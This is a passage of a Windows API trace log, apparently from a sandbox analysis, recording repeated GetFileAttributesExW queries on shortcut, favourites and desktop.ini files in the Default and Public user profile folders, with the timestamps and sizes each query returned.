fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1 [0130.004] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.006] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.009] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.009] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0130.017] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244)) returned 1 [0130.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244)) returned 1 [0130.018] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3)) returned 1 [0130.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3)) returned 1 [0130.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0130.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a6140, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1a6140, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0130.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\OneDrive.lnk" (normalized: "c:\\users\\default\\links\\onedrive.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e10c360, ftCreationTime.dwHighDateTime=0x1d2f182, ftLastAccessTime.dwLowDateTime=0x7e10c360, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7e10c360, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0130.020] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\OneDrive.lnk" (normalized: "c:\\users\\default\\links\\onedrive.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e10c360, ftCreationTime.dwHighDateTime=0x1d2f182, ftLastAccessTime.dwLowDateTime=0x7e10c360, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7e10c360, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0130.020] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b)) returned 1 [0130.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1cc2a0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe1cc2a0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b)) returned 1 [0130.025] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1 [0130.026] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1 [0130.033] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1 [0130.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1 [0130.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1 [0130.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1 [0130.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c)) returned 1 [0130.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c)) returned 1 [0130.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1 [0130.046] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1 [0130.046] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1 [0130.046] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1 [0130.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1 [0130.056] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xfe17ffe0, ftCreationTime.dwHighDateTime=0x1d2f17f, ftLastAccessTime.dwLowDateTime=0xfe17ffe0, ftLastAccessTime.dwHighDateTime=0x1d2f17f, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1 [0130.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1ede10 | out: lpFileInformation=0x1ede10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1 [0130.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1ede10 | out: lpFileInformation=0x1ede10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1 [0130.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a2c8a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x67a2c8a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x67a2c8a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x7e9)) returned 1 [0130.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a2c8a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x67a2c8a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x67a2c8a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x7e9)) returned 1 [0130.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1 [0130.061] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1 [0130.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c41ac0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9c41ac0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9c41ac0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x8d1)) returned 1 [0130.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google 